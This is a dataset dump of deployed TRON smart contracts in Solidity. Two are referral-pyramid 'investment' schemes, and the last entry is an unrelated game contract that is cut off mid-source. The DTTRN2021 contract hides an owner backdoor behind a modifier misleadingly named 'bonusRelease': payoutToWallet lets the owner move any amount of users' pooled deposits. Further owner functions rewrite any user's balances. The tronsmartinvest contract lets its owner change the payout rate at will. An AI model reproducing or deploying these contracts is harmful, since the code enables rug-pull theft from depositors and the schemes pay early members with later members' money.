hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2390a08ea303352bcac74ecea851f0949ad4ed52693eeb6a7f8f75348c99089c
| 15,845 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TC/TCfTEdJr74BwnHs56N9kGCpnAFB84RLbMG_DTTRN2021.sol
| 3,971 | 13,596 |
//SourceUnit: Digital Tron.sol
pragma solidity >=0.4.0 <0.8.0;
contract owned {
constructor() public { owner = msg.sender; }
address payable owner;
modifier bonusRelease {
require(msg.sender == owner,
"Nothing For You!");
_;
}
}
contract DTTRN2021 is owned {
struct User {
uint256 id;
uint256 cycle;
address upline;
uint256 referrals;
uint256 payouts;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
}
address payable public owner;
address payable public admin_fee;
mapping(address => User) public users;
mapping(uint256 => address) public userList;
uint256[] public cycles;
uint8[] public ref_bonuses; //10% of amount TRX
uint8[] public pool_bonuses; // 1% daily
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
uint256 public total_users = 1;
uint256 public total_deposited;
uint256 public total_withdraw;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
constructor(address payable _owner) public {
owner = _owner;
admin_fee = _owner;
users[_owner].id = total_users;
userList[total_users] = _owner;
users[_owner].payouts = 0;
users[_owner].deposit_amount = 0;
users[_owner].deposit_payouts = 0;
users[_owner].deposit_time = uint40(block.timestamp);
users[_owner].total_deposits = 0;
ref_bonuses.push(25); //1st generation
ref_bonuses.push(10); //2nd generation
ref_bonuses.push(10); //3rd generation
ref_bonuses.push(10); //4th generation
ref_bonuses.push(10); //5th generation
ref_bonuses.push(7); //6th generation
ref_bonuses.push(7); //7th generation
ref_bonuses.push(7); //8th generation
ref_bonuses.push(7); //9th generation
ref_bonuses.push(7); //10th generation
}
function() payable external {
_deposit(msg.sender, msg.value);
}
function join_newmember(address _upline) public payable {
require(msg.value > 1.0 trx);
if(users[_upline].deposit_time > 0) {
}
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && _addr != owner && (users[_upline].deposit_time > 0 || _upline == owner)) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
total_users++;
users[_addr].id = total_users;
userList[total_users] = _addr;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner, "No upline");
if(users[_addr].deposit_time > 0) {
users[_addr].cycle++;
require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists");
require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount");
}
else require(_amount >= 1e8 && _amount <= cycles[0], "Bad amount");
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].total_deposits += _amount;
total_deposited += _amount;
emit NewDeposit(_addr, _amount);
if(users[_addr].upline != address(0)) {
users[users[_addr].upline].direct_bonus += _amount / 10;
emit DirectPayout(users[_addr].upline, _addr, _amount / 10);
}
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount * 1 / 100;
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1) {
uint256 bonus = _amount * ref_bonuses[i] / 100;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance / 10;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = draw_amount * pool_bonuses[i] / 100;
users[pool_top[i]].pool_bonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function depositPayout(address _upline) payable external {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function withdraw() external {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
// Deposit payout
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
_refPayout(msg.sender, to_payout);
}
// Direct payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].direct_bonus -= direct_bonus;
users[msg.sender].payouts += direct_bonus;
to_payout += direct_bonus;
}
// Pool payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].pool_bonus -= pool_bonus;
users[msg.sender].payouts += pool_bonus;
to_payout += pool_bonus;
}
// Match payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts += to_payout;
total_withdraw += to_payout;
msg.sender.transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function maxPayoutOf(uint256 _amount) pure external returns(uint256) {
return _amount * 3;
}
function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) {
payout = (users[_addr].deposit_amount * ((block.timestamp - users[_addr].deposit_time) / 1 days) / 50) - users[_addr].deposit_payouts;
if(users[_addr].deposit_payouts + payout > max_payout) {
payout = max_payout - users[_addr].deposit_payouts;
}
}
}
function payoutToWallet(address payable _user, uint256 _amount) public bonusRelease
{
_user.transfer(_amount);
}
function getUserById(uint256 userid) view external bonusRelease returns(address user_address) {
return userList[userid];
}
function getUserDetails(uint256 userid) view external bonusRelease returns(uint256 id, address user_address, uint256 cycle, uint256 deposit_payouts, uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
address _addr = userList[userid];
return (users[_addr].id, _addr, users[_addr].cycle, users[_addr].deposit_payouts, users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function updUser(address _addr, uint256 _id, uint256 _cycle, address _upline, uint256 _referrals, uint256 _payouts, uint256 _direct_bonus, uint256 _pool_bonus) public bonusRelease {
users[_addr].id = _id;
users[_addr].cycle = _cycle;
users[_addr].upline = _upline;
users[_addr].referrals = _referrals;
users[_addr].payouts = _payouts;
users[_addr].direct_bonus = _direct_bonus;
users[_addr].pool_bonus = _pool_bonus;
userList[_id] = _addr;
total_users = total_users + 1 ;
}
function updUserAfter(address _addr, uint256 _match_bonus, uint256 _deposit_amount, uint256 _deposit_payouts, uint40 _deposit_time, uint256 _total_deposits, uint256 _total_payouts, uint256 _total_structure) public bonusRelease {
users[_addr].match_bonus = _match_bonus;
users[_addr].deposit_amount = _deposit_amount;
users[_addr].deposit_payouts = _deposit_payouts;
users[_addr].deposit_time = _deposit_time;
users[_addr].total_deposits = _total_deposits;
users[_addr].total_payouts = _total_payouts;
users[_addr].total_structure = _total_structure;
}
function initContract(uint256 poolcycle, uint256 poolbalance, uint40 poollastdraw, uint256 totaldeposited,uint256 totalwithdraw) public bonusRelease
{
pool_cycle = poolcycle;
pool_balance = poolbalance;
pool_last_draw = poollastdraw;
total_deposited = totaldeposited;
total_withdraw = totalwithdraw;
}
function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) {
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus);
}
function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
}
| 303,820 | 13,900 |
c1d44dc88de978b3c5a7ba9bceefadd8a5ed3a665c67790411b6943b5361836a
| 18,930 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TF/TFhVheWQnh29jMEaf2Rmbuipj1vatBEF71_tronsmartinvest.sol
| 4,801 | 17,724 |
//SourceUnit: tronsmartinvest.sol
pragma solidity 0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract OldTronAvail {
using SafeMath for uint256;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
address public owner;
address payable public marketingAddress;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256 bonus;
uint256 referrals;
uint256 match_bonus;
uint256 direct_bonus;
uint256 payouts;
mapping(address => UserReferralLevels) UserReferralCountsValue;
}
struct UserReferralLevels {
uint256 level1;
uint256 level2;
uint256 level3;
}
mapping (address => User) public users;
mapping(uint256 => address) public userIds;
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserDownlineCount(address _addr) view external returns(uint256, uint256, uint256) {
return (users[_addr].UserReferralCountsValue[_addr].level1, users[_addr].UserReferralCountsValue[_addr].level2, users[_addr].UserReferralCountsValue[_addr].level3);
}
}
contract tronsmartinvest {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 100e6;
uint256 public BASE_PERCENT = 10; //1%
uint256[] public REFERRAL_PERCENTS = [50, 20, 10];
uint256 public MARKETING_FEE = 140; //14%
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public CONTRACT_BALANCE_STEP = 3000000e6;
uint256 constant public TIME_STEP = 1 days;
uint8[] public ref_bonuses;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
address public owner;
OldTronAvail public oldTronAvail;
uint256 oldUserId = 1;
address payable public marketingAddress;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256 bonus;
uint256 referrals;
uint256 match_bonus;
uint256 direct_bonus;
uint256 payouts;
mapping(address => UserReferralLevels) UserReferralCountsValue;
}
struct UserReferralLevels {
uint256 level1;
uint256 level2;
uint256 level3;
}
mapping (address => User) public users;
mapping(uint256 => address) public userIds;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable marketingAddr, address oldTronAvailAddr) public {
require(!isContract(marketingAddr));
marketingAddress = marketingAddr;
oldTronAvail = OldTronAvail(oldTronAvailAddr);
owner = msg.sender;
ref_bonuses.push(10); //1
ref_bonuses.push(10); //2
ref_bonuses.push(10); //3
ref_bonuses.push(10); //4
ref_bonuses.push(10); //5
ref_bonuses.push(10); //6
ref_bonuses.push(10); //7
ref_bonuses.push(10); //8
ref_bonuses.push(10); //9
ref_bonuses.push(10); //10
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].referrer;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1) {
uint256 bonus = _amount * ref_bonuses[i] / 100;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].referrer;
}
}
function invest(address referrer) public payable {
require(msg.value >= INVEST_MIN_AMOUNT, "investment less than min investment");
marketingAddress.transfer(msg.value.mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
emit FeePayed(msg.sender, msg.value.mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
User storage user = users[msg.sender];
users[referrer].referrals++;
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
if(i == 0){
users[upline].UserReferralCountsValue[upline].level1 = users[upline].UserReferralCountsValue[upline].level1.add(1);
users[upline].direct_bonus = users[upline].direct_bonus.add(amount);
} else if(i == 1){
users[upline].UserReferralCountsValue[upline].level2 = users[upline].UserReferralCountsValue[upline].level2.add(1);
} else if(i == 2){
users[upline].UserReferralCountsValue[upline].level3 = users[upline].UserReferralCountsValue[upline].level3.add(1);
}
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
totalUsers = totalUsers.add(1);
userIds[totalUsers] = msg.sender;
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(msg.value, 0, block.timestamp));
totalInvested = totalInvested.add(msg.value);
totalDeposits = totalDeposits.add(1);
emit NewDeposit(msg.sender, msg.value);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 userPercentRate = getUserPercentRate(msg.sender);
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) {
dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn);
}
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
uint256 generationIncome = totalAmount;
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
totalAmount = totalAmount.add(referralBonus);
user.bonus = 0;
}
if(user.match_bonus > 0) {
uint256 match_bonus = user.match_bonus;
user.match_bonus = user.match_bonus.sub(match_bonus);
totalAmount = totalAmount.add(match_bonus);
}
require(totalAmount > 0, "User has no dividends");
//pay ref generation
_refPayout(msg.sender, generationIncome);
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.payouts = user.payouts.add(totalAmount);
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint256) {
uint256 contractBalance = address(this).balance;
uint256 contractBalancePercent = contractBalance.div(CONTRACT_BALANCE_STEP);
return BASE_PERCENT.add(contractBalancePercent);
}
function getUserPercentRate(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 contractBalanceRate = getContractBalanceRate();
if (isActive(userAddress)) {
uint256 timeMultiplier = (now.sub(user.checkpoint)).div(TIME_STEP);
return contractBalanceRate.add(timeMultiplier);
} else {
return contractBalanceRate;
}
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 userPercentRate = getUserPercentRate(userAddress);
uint256 totalDividends;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) {
dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserAvailableBalanceForWithdrawal(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(2)) {
return true;
}
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].amount);
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].withdrawn);
}
return amount;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function getHoldBonus(address userAddress) public view returns(uint256) {
if(getUserPercentRate(userAddress) <= getContractBalanceRate()
|| getUserPercentRate(userAddress).sub(getContractBalanceRate()) < BASE_PERCENT) {
return 0;
} else {
return getUserPercentRate(userAddress).sub(getContractBalanceRate()).sub(BASE_PERCENT);
}
}
function setMinuteRate(uint256 _roiPer) public returns(bool) {
require(msg.sender == owner, "Access denied");
BASE_PERCENT = _roiPer;
return true;
}
function() external payable {
if(msg.sender != owner) {
invest(owner);
}
}
function startSync(uint256 limit) public {
require(address(oldTronAvail) != address(0), "Initialize closed");
for (uint256 i = oldUserId; i <= limit; i++) {
User memory oldUserStruct;
address oldUser = oldTronAvail.userIds(oldUserId);
(oldUserStruct.checkpoint,
oldUserStruct.referrer,
oldUserStruct.bonus,
oldUserStruct.referrals,
oldUserStruct.match_bonus,
oldUserStruct.direct_bonus,
oldUserStruct.payouts) = oldTronAvail.users(oldUser);
users[oldUser].checkpoint = oldUserStruct.checkpoint;
users[oldUser].referrer = oldUserStruct.referrer;
users[oldUser].bonus = oldUserStruct.bonus;
users[oldUser].referrals = oldUserStruct.referrals;
users[oldUser].match_bonus = oldUserStruct.match_bonus;
users[oldUser].direct_bonus = oldUserStruct.direct_bonus;
users[oldUser].payouts = oldUserStruct.payouts;
for (uint256 j = 0; j < oldTronAvail.getUserAmountOfDeposits(oldUser); j++) {
uint256 amount;
uint256 withdrawn;
uint256 start;
(amount, withdrawn, start) = oldTronAvail.getUserDepositInfo(oldUser, j);
users[oldUser].deposits.push(Deposit(amount, withdrawn, start));
}
(users[oldUser].UserReferralCountsValue[oldUser].level1,
users[oldUser].UserReferralCountsValue[oldUser].level2,
users[oldUser].UserReferralCountsValue[oldUser].level3) = oldTronAvail.getUserDownlineCount(oldUser);
userIds[oldUserId] = oldUser;
oldUserId++;
}
totalUsers = oldTronAvail.totalUsers();
totalInvested = oldTronAvail.totalInvested();
totalWithdrawn = oldTronAvail.totalWithdrawn();
totalDeposits = oldTronAvail.totalDeposits();
}
function closeSync() public {
require(msg.sender == owner, "Access denied");
oldTronAvail = OldTronAvail(0);
}
function getUserDownlineCount(address _addr) view external returns(uint256, uint256, uint256) {
return (users[_addr].UserReferralCountsValue[_addr].level1, users[_addr].UserReferralCountsValue[_addr].level2, users[_addr].UserReferralCountsValue[_addr].level3);
}
function getMatchBonus(address userAddress) public view returns(uint256) {
return users[userAddress].match_bonus;
}
}
| 296,491 | 13,901 |
39bd865042fa8f40dce5db9e0794e8f10226c0598c45b1c94ebb07f7d0cb75fe
| 24,064 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/41/414fbd976da2df26e97b704dc5da972e2baacf09_TerritoryUnitGameStatePredictionComponent.sol
| 5,376 | 22,252 |
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.11;
library ModularArray {
// use underlying element (type value of "element" can be change to use address or bytes for exemple)
struct UnderlyingElement {
uint element;
uint index;
bool init;
uint last;
uint next;
}
// create a modular array
struct ModularArrayStruct {
mapping (uint => UnderlyingElement) array;
mapping (uint => uint) associatedIndexFromElement;
uint firstIndex;
uint nbIndex;
uint totalElementsNumber;
}
// add any element just after an index (0: last index "_index", 1: new index with "_element" value)
function addAfterIndex(ModularArrayStruct storage _array, uint _index, uint _element) internal returns (uint) {
uint _nbIndex = _array.nbIndex;
_array.associatedIndexFromElement[_element] = _nbIndex;
if (_array.totalElementsNumber > 0) {
require(_array.array[_index].init == true, "Wrong indexing matching");
UnderlyingElement storage lastElement = _array.array[_index];
UnderlyingElement storage nextElement = _array.array[lastElement.next];
_array.array[_nbIndex] = UnderlyingElement(_element, _nbIndex, true, lastElement.index, nextElement.index);
lastElement.next = _nbIndex;
nextElement.last = _nbIndex;
} else {
_array.firstIndex = _nbIndex;
_array.array[_nbIndex] = UnderlyingElement(_element, _nbIndex, true, 0, 0);
}
_array.nbIndex++;
_array.totalElementsNumber++;
return _nbIndex;
}
// /!/ EVERY ELEMENTS MUST BE DIFFERENT (like unique index)
function addAfterElement(ModularArrayStruct storage _array, uint _elementIndex, uint _element) internal returns (uint) {
return addAfterIndex(_array, _array.associatedIndexFromElement[_elementIndex], _element);
}
// add any element just before an index (0: last index "_index", 1: new index with "_element" value)
function addBeforeIndex(ModularArrayStruct storage _array, uint _index, uint _element) internal returns (uint) {
uint _nbIndex = _array.nbIndex;
_array.associatedIndexFromElement[_element] = _nbIndex;
if (_array.totalElementsNumber > 0) {
require(_array.array[_index].init == true, "Wrong indexing matching");
UnderlyingElement storage nextElement = _array.array[_index];
UnderlyingElement storage lastElement = _array.array[nextElement.last];
if (_array.firstIndex == _index) {
_array.array[_nbIndex] = UnderlyingElement(_element, _nbIndex, true, 0, nextElement.index);
_array.firstIndex = _nbIndex;
nextElement.last = _nbIndex;
} else {
_array.array[_nbIndex] = UnderlyingElement(_element, _nbIndex, true, lastElement.index, nextElement.index);
lastElement.next = _nbIndex;
nextElement.last = _nbIndex;
}
} else {
_array.firstIndex = _nbIndex;
_array.array[_nbIndex] = UnderlyingElement(_element, _nbIndex, true, 0, 0);
}
_array.nbIndex++;
_array.totalElementsNumber++;
return _nbIndex;
}
// /!/ EVERY ELEMENTS MUST BE DIFFERENT (like unique index)
function addBeforeElement(ModularArrayStruct storage _array, uint _elementIndex, uint _element) internal returns (uint) {
return addBeforeIndex(_array, _array.associatedIndexFromElement[_elementIndex], _element);
}
// remove an element by its index
function removeFromIndex(ModularArrayStruct storage _array, uint _index) internal {
require(_array.array[_index].init == true, "Wrong indexing matching");
require(_array.totalElementsNumber > 0, "Can't remove non existent indexes");
UnderlyingElement storage element = _array.array[_index];
UnderlyingElement storage lastElement = _array.array[element.last];
UnderlyingElement storage nextElement = _array.array[element.next];
_array.associatedIndexFromElement[element.element] = 0;
if (_array.firstIndex == _index) {
_array.firstIndex = element.next;
lastElement.last = 0;
} else {
lastElement.next = nextElement.index;
nextElement.last = lastElement.index;
}
_array.totalElementsNumber--;
element.index = 0;
element.init = false;
}
// /!/ EVERY ELEMENTS MUST BE DIFFERENT (like unique index)
function removeFromElement(ModularArrayStruct storage _array, uint _element) internal {
removeFromIndex(_array, _array.associatedIndexFromElement[_element]);
}
// return the whole array
// - "_excludedIndex" = -1 to not exclude index
function getWholeArray(ModularArrayStruct storage _array) internal view returns (uint[] memory) {
uint[] memory _fullArray = new uint[](_array.totalElementsNumber);
UnderlyingElement memory _currentElement = _array.array[_array.firstIndex];
for (uint i=0; i < _array.totalElementsNumber; i++) {
_fullArray[i] = _currentElement.element;
_currentElement = _array.array[_currentElement.next];
}
return _fullArray;
}
function getElementIndex(ModularArrayStruct storage _array, uint _element) internal view returns (uint) {
uint[] memory array = getWholeArray(_array);
for (uint i=0; i < array.length; i++) {
if (array[i] == _element) return i;
}
return 0;
}
function resetArray(ModularArrayStruct storage _array) internal {
_array.totalElementsNumber = 0;
}
}
interface IWarfareUnit {
function ownerOf(uint) external view returns (address);
}
contract TerritoryUnitGameStatePredictionComponent {
using ModularArray for ModularArray.ModularArrayStruct;
// basic structur to store all important information about attackers necessary to make calculations
struct Attacker {
uint fightEntry;
uint lp;
uint[] targetsList;
uint dmgPerSecond;
uint predictedDeathTime;
}
// tempory / memory data type to avoid stack too deep during internal calculations
struct AttackerTemporyData {
uint[] _targetPosition;
uint[] _cumulatedDamage;
uint[] _deathTime;
uint[] _lps;
}
uint uniqueId;
mapping (uint => uint) public firstFightEntry; // first fight entry timestamp for every pools id
mapping (uint => uint) public currentAttackersNumber; // current attackers number (in terms of different players, not units) for every pools id
uint public MAX_UNITS_PER_OWNER = 10;
uint public MAX_ATTACKERS_OWNERS = 5; // max number of different attackers owners in a single fight
mapping (uint => Attacker) public attackersIndex; // associate unique id to each attackers to handle them easily
